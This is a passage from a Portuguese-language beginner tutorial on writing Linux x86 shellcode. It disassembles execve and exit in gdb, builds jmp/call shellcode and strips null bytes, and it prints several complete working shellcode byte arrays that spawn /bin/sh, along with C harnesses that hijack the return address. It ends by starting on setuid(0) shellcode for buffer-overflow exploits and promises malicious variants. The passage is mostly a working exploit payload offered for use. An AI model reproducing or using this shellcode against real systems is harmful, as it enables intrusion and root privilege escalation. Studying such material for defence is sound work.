0x8048426 : pop %ebx
0x8048427 : mov %ebp,%esp
0x8048429 : pop %ebp
0x804842a : ret
0x804842b : nop
End of assembler dump.
O codigo parece complicado a primeira vista,muitas instrucoes em assmebly, nao
tao conhecidas p/ um newbie, como neg,test,jne, mas que sao explicadas em
diversos tutoriais internet a fora.A maioria das coisas voce jah pode saber
somente olhando e comparando com as explicacoes passadas. Mas vejamos:
0x80483fc : push %ebp
0x80483fd : mov %esp,%ebp
0x80483ff : push %ebx
Isso eh o mesmo procedimento inicial descrito na explicacao sobre a funcao
main().Pega-se o velho frame pointer e salva-o, em seguida faz do atual stack
pointer o novo frame pointer e depois o empurra no stack.
Continuando:
0x8048400 : mov $0xb,%eax
Copia 0xb sobre EAX, que eh o numero 11 em decimal.Este numero corresponde
ao system call execve() na tabela de system calls do sistema.Voce pode
conferir essa tabela em /usr/include/sys/syscall.h , nao sei se isso
varia de linux para linux,mas creio que nao.Continuando:
0x8048405 : mov 0x8(%ebp),%ebx
O que aconteceu acima foi a copia do endereco de "/bin/sh" sobre EBX.
Continuando:
0x8048408 : mov 0xc(%ebp),%ecx
Copiamos o endereco de comando[] sobre ECX.
0x804840b : mov 0x10(%ebp),%edx
Copiamos o endereco do ponteiro nulo (NULL) sobre EDX.
0x804840e : int $0x80
Aqui nos mudamos para o modo kernel.
Para o intuito da escrita de shellcodes, isso aqui eh o fim do estudo da funcao
execve(), esses comandos que seguem abaixo, jah sao mais complexos e acredite,
creio serem inuteis para os nossos objetivos!!Uma vez que se entra no modo
kernel, as intrucoes que seguem "nao fazem" parte do nosso programa.Se quiser
ver como a coisa vai se complicando digite na linha de comandos do gdb
"disassemble __normal_errno_location" e por aih vai.
O estudo detalhado acima nos dah uma boa base para sabermos como funciona o
processo de execucao de nosso programa shell.c em instrucoes de "maquina".
Veremos abaixo alguns passos que nos ajudarao a escrever nosso shellcode.
Necessitaremos das seguintes coisas p/ podermos escrever nosso shellcode:
1. Termos a string "/bin/sh" terminada nula em algum lugar na memoria.
Lembrando que estamos querendo executar esse comando, se fosse outro,
logico que poderiamos mudar isso, mas a coisa se complicaria ainda
mais.
2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido
por uma word null long.Por que isso? lembra do esquema:
comando[1] = NULL;
Se faz necessario isso aqui.
3. Copiar 0xb sobre o registrador EAX.
Lembrando que de acordo com a tabela de system calls que podemos achar
em /usr/include/sys/syscall.h, o numero decimal correspondente ao
syscall execve() eh 11 (0xb).
4. Copiar o endereco da string "/bin/sh" sobre o registrador EBX.
5. Copiar o endereco da string "/bin/sh" sobre o registrador ECX.
6. Copiar o endereco da word null long sobre o registrador EDX.
7. Executar a intrucao int $0x80.
Para facilitar o aprendizado veremos como cada um dos passos citados
acima, no nosso exemplo inicial de shellcode:
1. 0x8048156 : movl $0x8058b28,0xfffffff8(%ebp)
2. 0x804815d : movl $0x0,0xfffffffc(%ebp)
3. 0x8048400 : mov $0xb,%eax
4. 0x8048405 : mov 0x8(%ebp),%ebx
5. 0x8048408 : mov 0xc(%ebp),%ecx
6. 0x804840b : mov 0x10(%ebp),%edx
7. 0x804840e : int $0x80
O esquema acima eh apenas demonstrativo, ainda faltam alguns passos p/ seguir na
construcao de um shellcode eficiente.Por exemplo,para evitar que o programa
continue buscando instrucoes para o Stack, caso a funcao execve() falhe.Nos
precisaremos usar um artificio que faca com que o programa saia limpamente, caso
haja falha em execve().Sair limpamente significa voltar a linha de comando, sem
que o programa busque dados aleatorios caso execve() falhe.Para fazermos isso
basta inserir uma chamada normal de saida junto ao nosso shellcode.Fazemos isso
da seguinte forma:
Pegamos e compilamos o programa abaixo:
------------------------------------------------------------------------
/* PROGRAMA QUE NOS AJUDARAH A SAIR LIMPAMENTE
CASO EXECVE() FALHE
Compile com: gcc -o saida -static -ggdb saida.c
*/
#include
void main(){
exit(0);
}
-----------------------------------------------------------------------
Compilamos ele entao:
[localhost:/]$ gcc -o saida -static -ggdb saida.c
Logo apos a compilacao,chamamos nosso bom e velho debugador gdb para
vermos como isso fica em asm:
[localhost:/]$gdb saida
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)
Em seguida digitamos "disassemble _exit" para que o gdb nos forneca o que
queremos saber.Atencao: digite _exit(com um traco antes, como estah aqui).
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x80483e4 <_exit>: push %ebp
0x80483e5 <_exit+1>: mov %esp,%ebp
0x80483e7 <_exit+3>: push %ebx
0x80483e8 <_exit+4>: mov $0x1,%eax
0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx
0x80483f0 <_exit+12>: int $0x80
0x80483f2 <_exit+14>: mov 0xfffffffc(%ebp),%ebx
0x80483f5 <_exit+17>: mov %ebp,%esp
0x80483f7 <_exit+19>: pop %ebp
0x80483f8 <_exit+20>: ret
0x80483f9 <_exit+21>: nop
0x80483fa <_exit+22>: nop
0x80483fb <_exit+23>: nop
End of assembler dump.
Podemos facilmente ver algumas coisas, vamos analisar este codigo.
0x80483e4 <_exit>: push %ebp
0x80483e5 <_exit+1>: mov %esp,%ebp
0x80483e7 <_exit+3>: push %ebx
Procedimento inicial, o mesmo esquema descrito para a funcao execve()
acima.Continuando:
0x80483e8 <_exit+4>: mov $0x1,%eax
Aqui ele coloca 0x1 (1 em decimal) no registrado EAX.Esse eh o numero
correspondente ao system call exit() na tabela de system calls.
Continuando:
0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx
Aqui copia o endereco de exit, propriamente dito.Por que isso?? Veremos
porque logo abaixo.quando virmos algumas linhas de main().
0x80483f0 <_exit+12>: int $0x80
Muda para o modo kernel.
Disassemblando main, teremos:
(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 : push %ebp
0x8048151 : mov %esp,%ebp
0x8048153 : push $0x0
0x8048155 : call 0x804829c
0x804815a : add $0x4,%esp
0x804815d : lea 0x0(%esi),%esi
0x8048160 : mov %ebp,%esp
0x8048162 : pop %ebp
0x8048163 : ret
End of assembler dump.
O que nos interessa para entendermos a linha <_exit+9> do codigo asm
de exit() eh somente o seguinte:
0x8048153 : push $0x0
0x8048155 : call 0x804829c
Como o Stack pega os argumento de tras para frente, na linha do nosso
programa saida.c: exit(0), em asm teremos:
push $0x0 -> Empurra 0 sobre o Stack.
call exit -> Chama a funcao exit().
Isso tudo fica armazenado em:
0x80483ed <_exit+9>: mov 0x8(%ebp),%ebx
Eis aih o porque.
Quanto a usarmos 0 em exit(), eh somente porque a maioria dos programas
retornam 0 na saida para indicar que nao possui erros.Se tiver acesso
ao codigo fonte dos programas, verifique, porque isso pode muito bem
mudar.
Como necessitamos inserir uma saida limpa(caso execve() falhe), descrita
no exemplo acima, nossos passos em busca de um shellcode eficiente mudam.
Teremos entao agora:
1. Ter a string "/bin/sh" terminada nula em algum lugar na memoria.
2. Ter o endereco da string "/bin/sh" em algum lugar na memoria seguido
por uma word null long.
3. Copiar 0xb sobre o registrado EAX.
4. Copiar o endereco do endereco da string "/bin/sh" sobre o registrado
EBX.
5. Copiar o endereco da string "/bin/sh" sobre o registrado ECX.
6. Copiar o endereco da null word long sobre o registrador EDX.
7. Executar a instrucao int $0x80.
* Aqui comeca o exit().
8. Copiar 0x1 sobre registrado EAX.
9. Copiar 0x0 sobre o registrador EBX.
10.Executar a instrucao $0x80.
Como podemos ver, para a funcao exit() nao temos muita coisa,senao tres linhas
apenas, expliquei tudo aquilo acima porque quero que voce entenda como a coisa
funciona.Nao vejo como saber que necessitamos do passo 9, sem sabermos de onde
vem esse 0x0. Lembrando que eh para Newbies que escrevo, nao o termo Newbie do
livro "A Internet e os Hackers", onde a unica coisa que escapa neste livro eh a
capa, tem um bom ditado para isso: "Nao julgue o livro pela capa!", quando falo
Newbies, sao sim pesquisadores, pessoas com espirito com fome de conhecimento,
mas que por um motivo ou outro, nao conseguem acesso a material de
nivel.Manisfestos a parte, vamos continuando nossa jornada.
Sabemos os passos que devemos seguir, entao iremos agora formar esses passos
num esquema de codigos asm para facilitar ainda mais nosso aprendizado.
O esquema seria mais ou menos o seguinte:
movl endereco_da_string, endereco_do_endereco_da_string
movb $0x0, endereco_do_byte_nulo
movl $0x0, endereco_do_nulo
movl $0xb, %eax
movl endereco_da_string, %ebx
leal endereco_da_string, %ecx
leal string_nula, %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh vem aqui.
Podemos visualizar que estamos bem proximo de conseguir efetivar nosso
shellcode.Mas surge um problema, nos nao sabemos onde no espaco da memoria do
programa alvo nos iremos exploitar o codigo(e a string que segue ele serah
colocada).Uma possivel solucao para isso, seria usar as instrucoes JMP e CALL
para circular nosso codigo.Essas instrucoes podem usar enderecamento IP
relativo, que despreza que nos podemos saltar para um offset do IP atual sem
necessitar saber o endereco exato de onde na memoria nos queremos saltar.Se
colocarmos uma instrucao CALL antes da string "/bin/sh" e uma intrucao JMP para
ela(instrucao CALL), o endereco da string serah empurrado sobre o Stack como o
endereco de retorno(return address) quando CALL for executado.Exato amigo!!
Acontecerah exatamente isto que voce estah imaginando.Mas para isso precisamos
copiar o endereco de retorno sobre um registrador, com isso a intrucao CALL pode
chamar o inicio de nosso codigo.Veremos agora como ficarah nosso esquema em asm:
jmp offset-para-chamar # 2 bytes
popl %esi # 1 byte
movl %esi, array-offset(%esi) # 3 bytes
movb $0x0, nullbyte-offset(%esi) # 4 bytes
movl $0x0, null-offset(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes
leal array-offset(%esi), %ecx # 3 bytes
leal null-offset(%esi), %edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-para-popl # 5 bytes
/bin/sh vem aqui # 5 bytes
Analizando bem o esquema acima, veremos algumas mudancas, nao nos conceitos,mas
na sintaxe asm propriamente dita, onde (%esi) eh o source index, que se refere
ao endereco da memoria onde se encontrarah a nossa string /bin/sh, lembrando
amigo, que esse comando descrito no final do esquema acima,mais precisamente na
ultima linha(/bin/sh), eh o que queremos executar a partir da shell.Voce poderia
e pode, perfeita- mente colocar um comando, como "/bin/ls", para ver que isso se
refere somente a um argumento para a execucao de um comando pela shell. Isto
torna as coisas claras, no final desse exemplo com /bin/sh, eu acrescentarei
alguns possiveis comandos substitutos para essa ultima linha, inclusive alguns
exemplo de codigos maliciosos. Abaixo segue uma explicacao simples detalhando o
que eh o eskema acima:
jmp offset-para-chamar # 3 bytes
popl %esi # 1 byte
Essas duas novas linhas sao responsaveis pela mudanca.jmp, como dito faz saltar
para o endereco, nesse caso offset, declarado em offset-para-chamar. Esse offset
eh o endereco de call, apos isso, call chamarah popl %esi.Continuando:
movl %esi, array-offset(%esi) # 3 bytes
movb $0x0, nullbyte-offset(%esi) # 4 bytes
movl $0x0, null-offset(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes
leal array-offset(%esi), %ecx # 3 bytes
leal null-offset(%esi), %edx # 3 bytes
int $0x80 # 2 bytes
Acima segue os nossos passos de 1 a 7, referentes aos codigos de execve().
Continuando:
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
Acima estao os codigos referentes a funcao exit(), descritos nos nossos
passos de 8 a 10.Continuando:
call offset-para-popl # 5 bytes
/bin/sh vem aqui # 8 bytes
Aih em cima podemos ver a instrucao call, responsavel por fazer o giro ou
circulo.Essa instrucao chama a intrucao popl lah em cima.Voce pode estar se
perguntando se esse giro nao seria um loop infinito.Na verdade isso nao
acontece, lembrando, estamos trabalhando com assembly, como estamos manipulando
enderecos de memoria, o endereco correspondente a instrucao call que eh saltada
usando jmp no inicio, nao serah mais chamado, logo nao existe um loop
infinito.Acho que as coisas sao mais claras para o pessoal que meche bem com
"goto". :) Voce pode recapitular o item 6.4, caso ainda tenha duvida.
O grafico abaixo pode ajudar voce a compreender melhor tudo o que estah
acontecendo aqui:
Parte inferior Topo da Memoria
da memoria
buffer sfp ret a b c
<---- [JJSSSSSSSSCCss] [ssss] [0xD8] [0x01] [0x02] [0x03]
^|^ ^| |
|||_______||______________|
||_______||
|________|
Topo do Stack Parte inferior do Stack
Onde:
J -> Refere a intrucao JMP.
C -> Refere a instrucao CALL.
S -> Codigo asm que queremos executar.
s -> Codigo da string que queremos executar ("/bin/sh").
buffer -> Nosso buffer que conterah o shellcode..
sfp -> O frame pointer. --_ Para efeito de
ret -> Endereco de retorno. -- overflows
A seta indica para onde estah saltando a instrucao.
Espero que tudo tenha clareado mais para voce.Em cima disso, podemos calcular os
offsets necessarios para jmp saltar para call, de call para popl, do endereco da
string para o array, e do endereco da string p/ a word null long. Caso alguem
possua duvidas de como se descobrir os offsets, lembro novamente, eh bom
aprender mais sobre assembly e praticar as operacoes com sistemas
numericos(decimal,hexa e binario)!!
Colocarei novamente o codigo para que nao haja duvidas sobre como saber o
endereco dos offsets a chamar.
jmp offset-para-chamar # 3 bytes
popl %esi # 1 byte ------ <---------------
movl %esi, array-offset(%esi) # 3 bytes | |
movb $0x0, nullbyte-offset(%esi) # 4 bytes | |
movl $0x0, null-offset(%esi) # 7 bytes | |
movl $0xb, %eax # 5 bytes | Somando tudo |
movl %esi, %ebx # 2 bytes | teremos |
leal array-offset(%esi), %ecx # 3 bytes -> 42 bytes |
leal null-offset(%esi), %edx # 3 bytes |(0x2a em hexa) |
int $0x80 # 2 bytes | |
movl $0x1, %eax # 5 bytes | |
movl $0x0, %ebx # 5 bytes | |
int $0x80 # 2 bytes ______| |
call offset-para-popl # 5 bytes --> 42 + 5 = 47(0x2f)---
/bin/sh vem aqui # 8 bytes
Seguindo em frente, veremos como nosso codigo ficarah inserindo-o em um programa
C, com os respectivos enderecos calculados. Somente observe, nao compile ainda.
#include
#include
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
Existe um probleminha amigo, para que o nosso codigo funcione, necessitamos
declarar ele como uma variavel global, para podermos colocar nosso codigo no
Stack ou Segmento Data(onde teremos permissao de escrita) ,transferindo o
controle para ele,pois nosso codigo modifica ele mesmo e muitos sistemas
operacionais marcam paginas de codigos read-only(soh leitura).Para fazermos
isso, necessitamos da representacao hexadecimal do codigo binario.Vejamos abaixo
como fazer isso tudo:
* Primeiro compilamos o nosso programa acima, usando a seguinte sintaxe
na linha de comando:
[localhost:/]$gcc -o shell -g -ggdb shell.c
* Em seguida executamos o debugador.
[localhost:/]$ gdb shell
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details. This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)
* Agora vem a parte que se exige mais paciencia do fucador.Muita gente
acha um saco ter que fazer isso, mas nao tem outro jeito,paciencia
amigo.O esquema eh que o debugador nos dirah o codigo hexadecimal
correspondente a cada uma da linha de comando.Para fazer isso voce
digita o seguinte:
(gdb)disassemble main
Dump of assembler code for function main:
0x8048150 : push %ebp
0x8048151 : mov %esp,%ebp
0x8048153 : jmp 0x804817f
0x8048155 : pop %esi
0x8048156 : mov %esi,0x8(%esi)
0x8048159 : movb $0x0,0x7(%esi)
0x804815d : movl $0x0,0xc(%esi)
0x8048164 : mov $0xb,%eax
0x8048169 : mov %esi,%ebx
0x804816b : lea 0x8(%esi),%ecx
0x804816e : lea 0xc(%esi),%edx
0x8048171 : int $0x80
0x8048173 : mov $0x1,%eax
0x8048178 : int $0x80
0x804817a : call 0x8048150
0x804817f : das
0x8048180 : bound %ebp,0x6e(%ecx)
0x8048183 : das
0x8048184 : jae 0x80481ee <__new_exitfn+54>
0x8048186 : add %cl,0x90c35dec(%ecx)
End of assembler dump.
Isso voce jah sabe o que faz(mostra codigo asm do nosso programa),agora amigo
para saber o codigo hexadecimal de cada um desses comandos, voce terah que
digitar o seguinte " x/xb " como no esquema abaixo:
(gdb) x/xb main+3
0x8048153 : 0xeb
(gdb) x/xb main+4
0x8048154 : 0x2a
(gdb) x/xb main+5
0x8048155 : 0x5e
(gdb) x/xb main+6
0x8048156 : 0x89
.
.
.
(gdb) x/xb main+56
0x8048188 : 0xec
(gdb) x/xb main+57
0x8048189 : 0x5d
(gdb) x/xb main+58
0x804818a : 0xc3
(gdb) x/xb main+59
0x804818b : 0x90
Voce comecarah com o indice "main+3" e irah ateh quando chegar o hexadecimal
"0x90" que corresponde a instrucao NOP, que corresponte a uma instrucao
vazia(sem operacao nenhuma), que faz com que o programa siga em frente, como se
ela nao existisse (essa linha nao deve entrar no nosso shell code).Caso em outro
shellcode feito por voce, isso nao apareca, coloque os hexadecimais ateh a
ultima instrucao da funcao main().
Feito tudo isso, voce colocarah todos as linhas do programa em hexa, numa
variavel global, como no esquema abaixo:
/* Exemplo inicial de shellcode
Compile com: $gcc -o shell1 shell1.c
*/
#include
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
Depois de compilado voce pode executar ele normalmente, como no exemplo
abaixo:
[localhost:/]$ gcc -o shell1 shell1.c
[localhost:/]$./shell1
bash$ exit
exit
Como podemos ver, ele funciona perfeitamente.Mas vou direcionar agora a solucao
de um problema para aqueles que usarao shellcodes em buffer overflows.Nao
podemos inserir ele num exploit sem antes tirar-lhe todos os bytes nulos(null
bytes).Por que? Leia o tutorial sobre overflows que fiz, em breve na
http://unsekurity.virtualave.net ...ele explica o porque disso. Seguindo em
frente, para tirarmos os bytes nulos, seguimos o seguinte esquema:
Instrucao com null byte Trocar por:
------------------------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
movb %eax,0x7(%esi)
movl $0x0,0xc(%esi) movl %eax,0xc(%esi)
-------------------------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
-------------------------------------------------------------------------
movl $0x1,%eax xorl %ebx,%ebx
movl $0x0,%ebx movl %ebx,%eax
inc %eax
-------------------------------------------------------------------------
Como podemos ver, nao ha muita coisa para fazermos no intuito de retirar
os null bytes.Veremos entao como fica o nosso codigo apos a substituicao
dos mesmos:
/* Shellcode com sobstituicao dos null bytes */
#include
main(){
__asm__("
jmp 0x1f #2 bytes
popl %esi #1 byte
movl %esi,0x8(%esi) #3 bytes
xorl %eax,%eax #2 bytes
movb %eax,0x7(%esi) #3 bytes
movl %eax,0xc(%esi) #3 bytes
movb $0xb,%al #2 bytes
movl %esi,%ebx #2 bytes
leal 0x8(%esi),%ecx #3 bytes
leal 0xc(%esi),%edx #3 bytes
int $0x80 #2 bytes
xorl %ebx,%ebx #2 bytes
movl %ebx,%eax #2 bytes
inc %eax #1 byte
int $0x80 #2 bytes
call -0x24 #5 bytes
.string \"/bin/sh\" #8 bytes
");
}
Compilamos entao usando a seguinte sintaxe:
[localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c
Em seguida usamos o debugador p/ novamente pegarmos o codigo em hexa:
[localhost:/]$gdb shellnova1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)disassemble main
Dump of assembler code for function main:
0x8048150 : push %ebp
0x8048151 : mov %esp,%ebp
0x8048153 : jmp 0x8048174
0x8048155 : pop %esi
0x8048156 : mov %esi,0x8(%esi)
0x8048159 : xor %eax,%eax
0x804815b : mov %al,0x7(%esi)
0x804815e : mov %eax,0xc(%esi)
0x8048161 : mov $0xb,%al
0x8048163 : mov %esi,%ebx
0x8048165 : lea 0x8(%esi),%ecx
0x8048168 : lea 0xc(%esi),%edx
0x804816b : int $0x80
0x804816d : xor %ebx,%ebx
0x804816f : mov %ebx,%eax
0x8048171 : inc %eax
0x8048172 : int $0x80
0x8048174 : call 0x8048155
0x8048179 : das
0x804817a : bound %ebp,0x6e(%ecx)
0x804817d : das
0x804817e : jae 0x80481e8 <__new_exitfn+52>
0x8048180 : add %cl,0x90c35dec(%ecx)
End of assembler dump.
(gdb) x/xb main+3
0x8048153 : 0xeb
(gdb) x/xb main+4
0x8048154 : 0x1f
(gdb) x/xb main+5
0x8048155 : 0x5e
(gdb) x/xb main+6
0x8048156 : 0x89
(gdb) x/xb main+7
0x8048157 : 0x76
(gdb) x/xb main+8
0x8048158 : 0x08
(gdb) x/xb main+9
0x8048159 : 0x31
.
.
.
0x8048178 : 0xff
Podemos perfeitamente parar por aqui e no nosso shellcode no codigo-fonte
acrescentarmos a string /bin/sh que se refere ao que queremos executar. Fazendo
isso teriamos o seguinte shellcode:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Mas se nos quisermos substituir a string /bin/sh por seu correspondente em
hexadecimal, nos devemos continuar pegando os respectivos codigos hexa pelo
debugador, ateh encontrarmos uma intrucao nop que corresponderah ao fim da
funcao main().Vejamos:
Haviamos para em
Continuando:
(gdb) x/xb main+41
0x8048179 : 0x2f
(gdb) x/xb main+42
0x804817a : 0x62
(gdb) x/xb main+43
0x804817b : 0x69
(gdb) x/xb main+44
0x804817c : 0x6e
(gdb) x/xb main+45
0x804817d : 0x2f
.
.
.
0x8048183 : 0x5d
(gdb) x/xb main+52
0x8048184 : 0xc3
(gdb) x/xb main+53
0x8048185 : 0x90
(gdb) x/xb main+54
0x8048186 : 0x90
Como podemos ver chegamos ateh a instrucao NOP(0x90), logo nao incluiremos ela
em nosso shellcode, devemos entao acrescentar ateh , fazendo entao
nosso shellcode ficar assim:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
"\x5d\xc3";
Feito isso tudo iremos agora inserir nosso exemplo de shellcode
dentro de um codigo-fonte C.
/* Simples Exemplo de Shellcode com string /bin/sh em hexa
Compile com: $gcc -o shellnova2 shellnova2.c */
#include
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
"\x5d\xc3";
void main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
O esquema na linha de comando seria:
[localhost:/]$ gcc -o shellnova2 shellnova2.c
[localhost:/]$ ./shellnova2
bash$ exit
exit
Como podemos ver perfeitamente, ele funciona bem como queriamos. Voce que vai
usa-lo em buffer overflows,boa sorte!!Lembrando que alguns shellcodes devem ser
usados p/ determinada situacao e outros p/ outras situacoes.Use seus neuronios,
pense nas formas de ataque, e da necessidade de cada shellcode, vai fundo, nao
deixe de estudar,pesquise,descubra!!
Como prometido, disponibilizarei agora alguns esquemas que podemos fazer para
executar alguns codigos maliciosos em cima deste exemplo descrito acima.Para os
codigos que se seguem,tudo que devemos fazer eh substituir simplesmente, o
comando "/bin/sh" que queremos executar, no final de nosso shellcode, por outro,
de tamanho igual. Vejamos nosso shellcode como estah:
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Eh essa string acima "/bin/sh", que estou me referindo, voce pode testar outros
comandos inserindo-os no lugar dela,sendo que de tamanho igual, como /bin/ls,
/bin/su, /bin/ed e por aih vai. Vejamos alguns exemplos bem praticos:
+ Simples shellcode para executar um ls;
/* Shellcode que executa um ls */
#include
/* Apenas trocamos /bin/sh por /bin/ls no final do shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls";
void main() {
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
Compilamos e executamos:
[localhost:/]$ gcc -o shels shels.c
[localhost:/]$ ./shels
exe1.c heap3 shellcode2
exe2 heap3.c shellcode2.c
exe2.c mall shellcode2.s
exploit.txt mall.c shellcodeasm
exploit1 mall1 shellcodeasm.c
exploit1.c my shels
exploit2 nistir4909 shels.c
exploit2.c out.c shelsc
exploit3 perlsec.txt shelsc.c
exploit3.c review.txt sp
exploit4 robust.txt sp.c
exploit4.c seculinuxprog sta
fake secure_prog_checklist sta.c
fake_exp security-holes.txt suid
fake_exp.c setuid.7.txt suid.c
find sh1 taxonomy.ps
full-cve.txt sh1.c testsc
fuzz-revisited.ps.Z shel1.c testsc.c
heap1 shell1.c vulnerable
heap1.c shellcode vulnerable.c
Podemos ver que ele funfa(funciona) perfeitamente!!:)
Mas voce nao iria estudar e pesquisar muito somente para executar um comando
desse tipo..Nao sei mano,vai ver ele pode ser util para alguma coisa
remotamente, talvez envolvendo sockets, mas coloquei ele aih para ilustrar de
forma clara e simples a alteracao basica de um shellcode.Olhando para o exemplo
acima voce pode tirar algumas conclusoes apressadas, como trocar o /bin/sh por
/bin/zsh, ou mesmo por /bin/tcsh, ou qualquer outra shell, mas na verdade nao
funciona deste modo, teremos sim que ralar para fazermos shellcodes para cada
uma delas, o exemplo citada nos da permissao para executarmos alguns
comandos(somente alguns) de tamanho igual shell "/bin/sh" ou da que estah
linkada para ela, como em muitos sistemas encontramos /bin/bash, que eh o meu
caso.Veremos como fazer alguns outros tipos de shell mais abaixo. Para ilutrar e
voce poder entender melhor o que estou dizendo, veja o mesmo exemplo acima mas
com mais caracteres apos a execucao de ls:
/* Exemplo de shellcode, para mostrar que nao faz efeito
colocarmos mais caracteres do que o suportado pelo
nosso exemplo inicial */
#include
#include
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/lsissoquetahentrandoaquiehparailustrar";
void main() {
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}
Compilamos normalmente o exemplo acima, e em seguida executamos:
[localhost:/]$ gcc -o ls2.c ls2.c
[localhost:/]$ ./ls2
avancadas popshbug.c shell3.c shellt.c teso1sh.s
bossh1.c scsh shellba shelltc teso2sh.c
bossh1.s scsh.c shellba.c shelltc.c teso2sh.s
difshe shec shellc shelltc.s teso3sh.c
difshe.c shechroot.c shelln.c shelltcasm teso3sh.s
difshe.s shechroot1 shellpron1 shelltcasm.c testshtc
ls2 shell shellpron1.c shelltcasm.s testshtc.c
ls2.c shell.c shellpron2 shelltcsh trojans
passshe.c shell2 shellpron2.c shelt
passwd shell2.c shellsetu tcsh.sh
popshbug shell3 shellsetu.c teso1sh.c
Como podemos ver, nao adiantou nada metermos um monte de caracteres no nosso
shellcode, pois ele soh procurou executar somente o tamanho de bytes que fora
permitido.Se voce tah querendo saber como solucionar isto, leia a parte 7.4. :)
7.2 SHELLCODE P/ SETUID(0)
----------------------------------------------------
Esse exemplo vai para o pessoal que meche com buffer overflows, vamos inserir o
codido do programa abaixo em nosso shellcode inicial, o do /bin/sh;
/* Codigo de setuid() */
#include
main()
{
setuid(0);
}
Compilamos e em seguida executamos gdb;
[localhost:/]$ gcc -o setui setui.c -static -ggdb
[localhost:/]$ gdb setui
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)
Como vamos inserir o codigo, nao precisamos disassemblar main, basta
setuid.
